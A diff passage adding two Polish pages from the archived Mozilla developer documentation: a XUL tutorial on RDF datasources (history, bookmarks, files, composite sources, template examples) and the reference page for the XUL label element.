+++ b/files/pl/mozilla/tech/xul/kurs_xul/źródła_danych_rdf/index.html
@@ -0,0 +1,299 @@
+---
+title: Źródła danych RDF
+slug: Mozilla/Tech/XUL/Kurs_XUL/Źródła_danych_RDF
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/RDF_Datasources
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Drzewa_i_szablony" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zaawansowane_reguły">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule znajdziemy dodatkowe źródła danych i dowiemy się jak ich użyć w naszym pliku RDF jako źródła.</p>
+
+<h2 id="Inne_kody_.C5.BAr.C3.B3d.C5.82owe_Mozilli" name="Inne_kody_.C5.BAr.C3.B3d.C5.82owe_Mozilli">Inne kody źródłowe Mozilli</h2>
+
+<p>Mozilla dostarcza kilka różnych kodów źródłowych służących do budowy. Niektóre z nich są tutaj wymienione wraz z kilkoma przykładami. Pracują one bardzo podobnie jako zakładki, mimo że platformy bywają różne.</p>
+
+<h2 id="Lista_historii" name="Lista_historii">Lista historii</h2>
+
+<p>Dane źródła historii są dostarczone poprzez dostęp to listy historii użytkowników, których linki z listy adresów URL użytkownika zostały ostatnio odwiedzone. Zasoby mają być kierowane do użycia <code>rdf:history</code> jako źródło danych. Tabela poniżej ukazuje zasoby (lub pola), które możesz uzyskać źródła danych jakim jest historia. Połóż własności adresu URL poniżej gdzie chcesz użyć właściwości źródła danych.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td>Date</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Date</span></td>
+ <td>Data ostatniej wizyty</td>
+ </tr>
+ <tr>
+ <td>Name</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Name</span></td>
+ <td>Tytuł strony</td>
+ </tr>
+ <tr>
+ <td>Page</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Page</span></td>
+ <td>Nazwa strony</td>
+ </tr>
+ <tr>
+ <td>Referrer</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Referrer</span></td>
+ <td>Strona przekierowująca</td>
+ </tr>
+ <tr>
+ <td>URL</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#URL</span></td>
+ <td>Strona URL</td>
+ </tr>
+ <tr>
+ <td>Visit Count</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#VisitCount</span></td>
+ <td>Liczba odwiedzonych stron</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Typowa lista historii jest wyświetlona na drzewie z wyborem tych plików. Aby go użyć, wystarczy tylko położyć właściwości URL powyżej w atrybucie przycisków lub szablonu <code>label</code>. Możesz użyć właściwości <code>NC:HistoryRoot</code> atrybutu <code>ref</code>. Możesz także użyć <code>NC:HistoryByDate</code>, aby pobrać historię z kilku ostatnich dni.</p>
+
+<h3 id="Using_The_History_List_Example" name="Using_The_History_List_Example">Using The History List Example</h3>
+
+<p>Zobaczysz szablony wyświetlające się jako lista historii. Wyświetlimy historię drzewa z trzema kolumnami, <b>Name</b>, <b>Page</b> oraz <b>Date</b>.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_datasrc_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;tree flex="1" datasources="rdf:history" ref="NC:HistoryRoot"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol id="name" label="Name" flex="1"/&gt;
+ &lt;treecol id="url" label="URL" flex="1"/&gt;
+ &lt;treecol id="date" label="Date" flex="1"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;template&gt;
+
+ &lt;rule&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem uri="rdf:*"&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;treecell label="rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+ &lt;treecell label="rdf:http://home.netscape.com/NC-rdf#Date"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/rule&gt;
+
+ &lt;/template&gt;
+&lt;/tree&gt;
+</pre>
+
+<h2 id="Inne_.C5.BAr.C3.B3d.C5.82a_danych" name="Inne_.C5.BAr.C3.B3d.C5.82a_danych">Inne źródła danych</h2>
+
+<p>Tablice z listy poniżej są innymi źródłami osiągalnych z Mozilla. Chcesz możesz użyć któregokolwiek z zasobów.</p>
+
+<dl>
+ <dt>Zakładki (<span class="nowiki">rdf:bookmarks</span>)</dt>
+ <dd>Zakładki są generowane na podstawie listy z zawartością .</dd>
+</dl>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th colspan="3">Źródła</th>
+ </tr>
+ <tr>
+ <td>Added Date</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#BookmarkAddDate</span></td>
+ <td>Data dodania zakładki</td>
+ </tr>
+ <tr>
+ <td>Description</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Description</span></td>
+ <td>Opis zakładki</td>
+ </tr>
+ <tr>
+ <td>Last Modified</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate</span></td>
+ <td>Data ostatniej modyfikacji</td>
+ </tr>
+ <tr>
+ <td>Last Visited</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/WEB-rdf#LastVisitDate</span></td>
+ <td>Data ostatniej wizyty</td>
+ </tr>
+ <tr>
+ <td>Name</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Name</span></td>
+ <td>Nazwa zakładki</td>
+ </tr>
+ <tr>
+ <td>Shortcut URL</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#ShortcutURL</span></td>
+ <td>Skróty klawiszowe</td>
+ </tr>
+ <tr>
+ <td>URL</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#URL</span></td>
+ <td>Link URL do</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th colspan="2">Prawdopodobne źródła zakładek</th>
+ </tr>
+ <tr>
+ <td>NC:BookmarksRoot</td>
+ <td>Najwyższy poziom w hierarchi zakładek</td>
+ </tr>
+ <tr>
+ <td>NC:IEFavoritesRoot</td>
+ <td>Folder zakładek odpowiadający folderowi Ulubione z IE.</td>
+ </tr>
+ <tr>
+ <td>NC:PersonalToolbarFolder</td>
+ <td>Folder zakładek odpowiadający własnemu paskowi narzędzi.</td>
+ </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>Pliki (<span class="nowiki">rdf:files</span>)</dt>
+ <dd>Podgląd plików użytkownika.</dd>
+</dl>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th colspan="3">Źródła</th>
+ </tr>
+ <tr>
+ <td>Name</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#Name</span></td>
+ <td>Nazwa pliku</td>
+ </tr>
+ <tr>
+ <td>URL</td>
+ <td><span class="nowiki">rdf:http://home.netscape.com/NC-rdf#URL</span></td>
+ <td>URL do pliku</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th colspan="2">Prawdopodobne źródła plików</th>
+ </tr>
+ <tr>
+ <td>NC:FilesRoot</td>
+ <td>Najwyższy poziom systemu plików (często lista napędów)</td>
+ </tr>
+ <tr>
+ <td>A file URL</td>
+ <td>Używając URL pliku dla atrybutu <b>ref</b>, możesz zaznaczyć specyficzny folder bedący przekierowaniem. Na przykład, możesz użyć <a class="external" rel="freelink">file:///windows</a> or <a class="external" rel="freelink">file:///usr/local</a>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Przykład kodu źródłowego w pliku kodu ze źródłem, określa swoją konieczną zawartość. Nie chcemy każdego pliku z plików systemowych decydowały o wyświetleniu danych. Natomiast, tylko pliki i foldery elementów drzewa (lub innych elementów) były potrzebne do wyświetlenia w momencie kiedy tak zadecydujemy.</p>
+
+<h2 id="Composite_Datasources" name="Composite_Datasources">Composite Datasources</h2>
+
+<p>Specjalny wielokrotny kod źródła w atrybutach źródła danych jest oddzielnie poprzez białe pola, przykład poniżej. Jest to efekt czytania źródła danych wspomniany we wszystkich źródłach.</p>
+
+<pre>&lt;tree datasources="rdf:bookmarks rdf:history animals.rdf" ref="NC:BookmarksRoot"&gt;
+</pre>
+
+<p>Przykład ten czyta zawartość źródła z zakładek, historię i plik animals.rdf. Są one połączone z jednym składem kodu źródłowego i potrafią wtedy być użyte jako pojedyncze pliki.</p>
+
+<p>Specjalny kod źródłowy <code>rdf:null</code> odzwierciedla pustkę, nicość. Możesz używać tego kodu źródłowego jeśli chcesz umieścić dynamiczny kod źródłowy w skrypcie, nie potrzebujesz jego na początku i nie poznasz swojego dokładnego URL-a.</p>
+
+<h2 id="Kod_.C5.BAr.C3.B3d.C5.82owy_RDF_u.C5.BCytkownika" name="Kod_.C5.BAr.C3.B3d.C5.82owy_RDF_u.C5.BCytkownika">Kod źródłowy RDF użytkownika</h2>
+
+<p>Możemy używać jakiegokolwiek wewnętrznego kodu źródłowego, jeśli będziemy mieli taką potrzebę. Jest tu kilka innych kodów dla poczty, książki adresowej i służących do przeszukiwania ich. Kiedykolwiek, będziesz chciał możesz użyć twojego własnego kodu źródłowego RDF przechowanego w pliku RDF. Plik może być dwojaki, lokalny lub zdalny. Wystarczy umieścić URL pliku RDF w atrybucie <code><code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code></code>.</p>
+
+<p>Używanie kodu źródłowego RDF prowadzi do większej funkcjonalności kodu wewnętrznego. Możesz używać reguł odpowiadającym specjalnym typom zawartości. Atrybuty w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code></code> odpowiadają, jeżeli one odpowiadają atrybutom RDF <code>Description</code> elementu. Także możesz tworzyć pliki RDF, które są hierarchiczne.</p>
+
+<h3 id="Using_RDF_file_Example" name="Using_RDF_file_Example">Using RDF file Example</h3>
+
+<p>Następny przykład, to jak plik RDF potrafi być użyty w bazie danych. Plik RDF jest czarodziejski i potrafi wyświetlić osobno: <a href="https://developer.mozilla.org/samples/xultu/examples/animals.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/animals.rdf">RDF</a></p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_datasrc_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_datasrc_2.xul">Podgląd</a></p>
+
+<pre>&lt;tree flex="1" width="200" height="200"
+ datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol id="name" label="Name" primary="true" flex="1"/&gt;
+ &lt;treecol id="species" label="Species" flex="1"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem uri="rdf:*"&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="rdf:http://www.some-fictitious-zoo.com/rdf#name"/&gt;
+ &lt;treecell label="rdf:http://www.some-fictitious-zoo.com/rdf#species"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/rule&gt;
+
+ &lt;/template&gt;
+&lt;/tree&gt;
+</pre>
+
+<p><img alt="grafika:datasrc1.jpg"></p>
+
+<p>Tutaj, dane zostały wygenerowane z pliku. Atrybut <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code> został zarejestrowany jako element korzenia w pliku RDF, który jest najwyższym poziomem <code>Seq</code>. Otrzymamy kompletną listę
+
+ <i>animals</i>
+ . Jeżeli potrzebowalibyśmy,to moglibyśmy umieszczać atrybut <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code> do wszelkiej innej zawartości <code>about</code> cechach atrybutu ograniczającego ustawienia danych, które są zwracane. Na przykład, do wyświetlania tylko reptails, użyj wartości <code><span class="nowiki">http://www.some-fictitious-zoo.com/reptiles</span></code>.</p>
+
+<h3 id="Setting_the_ref_Attribute_Example" name="Setting_the_ref_Attribute_Example">Setting the <code>ref</code> Attribute Example</h3>
+
+<p>Przykład poniżej pokazuje jak wyświetlić szczególną część kodu źródłowego RDF ustawiając atrybut <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code>.</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_datasrc_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_datasrc_3.xul">Podgląd</a></p>
+
+<pre>&lt;window
+ id="example-window"
+ title="History List"
+ xmlns:ANIMALS="http://www.some-fictitious-zoo.com/rdf#"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;button label="Click here to see the mammals the zoo has" type="menu"
+ datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/mammals"&gt;
+ &lt;template&gt;
+ &lt;rule ANIMALS:specimens="0"&gt;&lt;/rule&gt;
+ &lt;rule&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem uri="rdf:*" label="rdf:http://www.some-fictitious-zoo.com/rdf#name"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/rule&gt;
+ &lt;/template&gt;
+&lt;/button&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>W tym przypadku tylko mammals są żądane, więc zaznaczamy mammals URI na liście. Zauważymy tą wartość atrybutu <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code> w przykładzie <code><span class="nowiki">http://www.some-fictitious-zoo.com/mammals</span></code>, który odzwierciedla jeden element <code>Seq</code> w <a class="external" href="http://xulplanet.com/tutorials/xultu/animals.txt">pliku RDF</a>. To zdarzenie tylko powraca w liście w przypadku potomków.</p>
+
+<p>Zostały użyte tutaj dwie zasady. Pierwsza reguła trzyma całą zawartość jaką posiada <code>ANIMALS:specimens</code>, atrybut ustawiony jest na <code>0</code>. Możesz zobaczyć te cechy w każdym <code>Description</code> elementu w pliku RDF. Niektóre z nich mają wartość równą 0. Więc w tym wypadku, użyjemy zasady pierwszej. Ponieważ, zasada pierwsza nie ma wartości, nic nie będzie ci wyświetlane. Jest to efektowna droga do ukrycia daty, której nie chcemy wyświetlić.</p>
+
+<p>Druga zasada stosuje się do całej reszty kodu i tworzy wiersze wyskakującego menu. Końcowy efekt jest taki, że dostaniemy wyskakujące menu zawierające wszystkie
+ <i>mammals</i>
+ które nie mają podanej wartości równej 0.</p>
+
+<p>Następnie, zobaczymy pełne zasady składni.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Drzewa_i_szablony" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zaawansowane_reguły">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/label/index.html b/files/pl/mozilla/tech/xul/label/index.html
new file mode 100644
index 0000000000..fda18697f6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/label/index.html
@@ -0,0 +1,258 @@
+---
+title: label
+slug: Mozilla/Tech/XUL/label
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/label
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element pozwala zastosować etykietę dla elementu sterującego. Po kliknięciu etykiety, focus zostanie przełączony na element sterujący określony przez atrybut <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazk%c3%b3w">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-control">control</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-href">href</a>, <a href="#a-label.value">value</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-control">control</a>, <a href="#p-crop">crop</a>, <a href="#p-disabled">disabled</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-header">header</a>, <a href="#s-indent">indent</a>, <a href="#s-monospace">monospace</a>, <a href="#s-plain">plain</a>, <a href="#s-small-margin">small-margin</a>, <a href="#s-text-link">text-link</a> </dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_label.png"></div>
+<pre class="eval">&lt;label value="Email address" control="email"/&gt;
+&lt;textbox id="email"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-control">
+
+<dl><dt> <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ten atrybut określa <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu, z którym powiązana jest etykieta. Kiedy użytkownik na nią kliknie, połączony element staje się aktywny (focus).
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-href">
+
+<dl><dt> <code id="a-href"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/href">href</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Definiuje adres URL do otworzenia, w momencie naciśnięcia elementu. Żąda atrybutu <code>class</code>, by włączyć <a href="pl/XUL/Styl/text-link">text-link</a>.
+</dd></dl>
+
+
+</div>
+<div id="a-label.value">
+
+<dl><dt> <a href="pl/XUL/Atrybut/label.value">value</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst dla etykiety.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
